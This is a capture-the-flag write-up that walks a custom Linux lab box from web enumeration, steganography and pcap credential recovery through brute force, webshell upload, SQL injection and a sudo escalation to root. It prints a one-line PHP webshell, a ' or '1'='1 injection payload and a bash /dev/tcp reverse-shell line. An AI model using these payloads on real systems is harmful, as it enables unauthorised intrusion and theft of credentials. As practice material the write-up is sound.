CTF WRITEUP CUSTOM BLACK BOX MEDIUM

World-of-WondersX — Custom CTF

person

Written By

Th0mas_sh316y

Difficulty

Platform

Custom Build

Target IP

192.168.0.57

World-of-WondersX Custom CTF Machine
Machine: World-of-WondersX · Medium · Linux · Custom Build

World-of-WondersX is a custom-built box with a long, multi-stage chain — image steganography, packet capture forensics, web fuzzing, Burp Intruder, file upload bypass, manual SQL injection, and finally a second webshell-to-root chain. It's the most "real-engagement-feeling" box I've solved this quarter. Roughly four hours total. The pcap step and the second-stage Throwit.php upload caught me off-guard — both are easy to miss if you stop enumerating after first foothold.

01_Reconnaissance

Single web port. Run dirb to map the directory tree — there's an /images/ folder with a curiously named asset, raptors.png.

terminal / nmap + dirb
$ nmap -p 80 192.168.0.57
80/tcp open  http

$ dirb http://192.168.0.57/
==> /images/
==> /portal/
==> /spaceX/

$ wget http://192.168.0.57/images/raptors.png

02_openstego_on_raptors.png

The PNG looks innocuous but openstego with no password extracts a hidden file — usernames.txt. That gives us the username list for later brute force.

terminal / openstego
$ openstego extract -sf raptors.png -xf usernames.txt
[no password prompted]

$ cat usernames.txt
[REDACTED — list of valid usernames]

03_Reflected_XSS_+_pcap_Forensics

The site has a comment box. Submitted <script>alert(1)</script> on /spaceX/spaceEX.php — XSS reflects, but more interesting is the HTML source of that page which contains a comment pointing to /portal/Payload.pcapng. Download and open in Wireshark — Follow TCP Stream surfaces a plaintext FTP password capture.

terminal / pcap dive
# Discover via page source comment
$ curl http://192.168.0.57/spaceX/spaceEX.php | grep -i "<!--"
<!-- /portal/Payload.pcapng -->

$ wget http://192.168.0.57/portal/Payload.pcapng
$ tshark -r Payload.pcapng -Y "ftp" -T fields -e ftp.request.command -e ftp.request.arg

USER  [REDACTED]
PASS  [REDACTED]

# Extracted password.txt for Burp Intruder

04_Burp_Intruder_Clusterbomb

Login page at /portal/login.php. Capture in Burp, send to Intruder, set both username and password as positions, switch to Clusterbomb attack. Load usernames.txt + password.txt as payloads. Filter by status code — a 302 redirect indicates a successful login. After login the panel exposes upload.php.

burp intruder / clusterbomb
# Burp Intruder config
Attack type:  Cluster bomb
Position 1:   §username§   → usernames.txt
Position 2:   §password§   → password.txt

# Result filter
Status: 302 → valid login pair

# Login → upload.php exposed in dashboard

05_PHP_Shell_Upload

Drop a one-line PHP webshell, fetch it, run commands as www-data. From there, enumerating /etc/passwd shows a user tron, and reading AvoidThis.txt in his home directory points us to the next attack surface — /spaceX/oracle.php.

terminal / php shell
# shell.php contents
<?php system($_GET['cmd']); ?>

# Upload via /portal/upload.php → trigger
$ curl "http://192.168.0.57/portal/uploads/shell.php?cmd=cat+/etc/passwd"
root:x:0:0:root:/root:/bin/bash
tron:x:1001:1001:

$ curl "http://192.168.0.57/portal/uploads/shell.php?cmd=cat+/home/tron/AvoidThis.txt"
> check /spaceX/oracle.php

06_oracle.php_SQL_Injection

Oracle.php's source shows a raw query — SELECT * FROM users WHERE username = user_input. Classic SQLi sink. sqlmap dumps the wonders database. Manual payload also works for the quick win. The user record contains a base64-encoded SSH password for tron.

terminal / sqlmap + manual
# sqlmap automated
$ sqlmap -u "http://192.168.0.57/spaceX/oracle.php?username=Tron" --dbs --batch --random-agent
[+] wonders

$ sqlmap -u "..." -D wonders -T users --dump --batch --random-agent
+--------+----------------------+
| user   | pass (base64)        |
+--------+----------------------+
| tron   | [REDACTED b64] |
+--------+----------------------+

# Manual fallback
$ curl "http://192.168.0.57/spaceX/oracle.php?username=admin' or '1'='1"
> dumps user table inline

# Decode base64 → plaintext SSH password
$ echo "[REDACTED]" | base64 -d
[REDACTED]

07_SSH_as_tron_+_Throwit.php

SSH in as tron with the cracked password. userflag.txt in his home directory. CriticalAlert.txt points at a second upload page — Throwit.php — running as a more privileged user. Same trick as before: upload a bash reverse shell, listener catches it, this time as a higher-privilege user.

terminal / ssh + reverse shell
$ ssh tron@192.168.0.57
Password: [REDACTED]
tron@wondersx:~$ cat userflag.txt
[REDACTED]

tron@wondersx:~$ cat CriticalAlert.txt
> upload to /Throwit.php

# shell.sh payload
#!/bin/bash
bash -i >& /dev/tcp/192.168.0.100/9001 0>&1

# Listener catches privileged callback
$ nc -lnvp 9001
> connection from wondersx

08_Root_via_sudo_su

The user the second shell runs as has sudo su available with no password. One command and you're root.

terminal / sudo su
$ sudo su
root@wondersx:/# id
uid=0(root) gid=0(root)

# cat /root/rootflag.txt
[REDACTED]

09_Attack_Chain_Summary

  1. 01 nmap port 80 → dirb → /images, /portal, /spaceX
  2. 02 openstego on raptors.png (no password) → usernames.txt
  3. 03 XSS recon on /spaceX/spaceEX.php → page-source comment → Payload.pcapng
  4. 04 Wireshark / tshark Follow TCP Stream → password.txt
  5. 05 Burp Intruder Clusterbomb on /portal/login.php → 302 = valid creds
  6. 06 upload.php → PHP shell.php → cmd execution as www-data
  7. 07 AvoidThis.txt → /spaceX/oracle.php SQLi → wonders.users
  8. 08 Decode base64 → tron SSH password → SSH login
  9. 09 CriticalAlert.txt → Throwit.php upload → bash reverse shell
  10. 10 sudo su → root → /root/rootflag.txt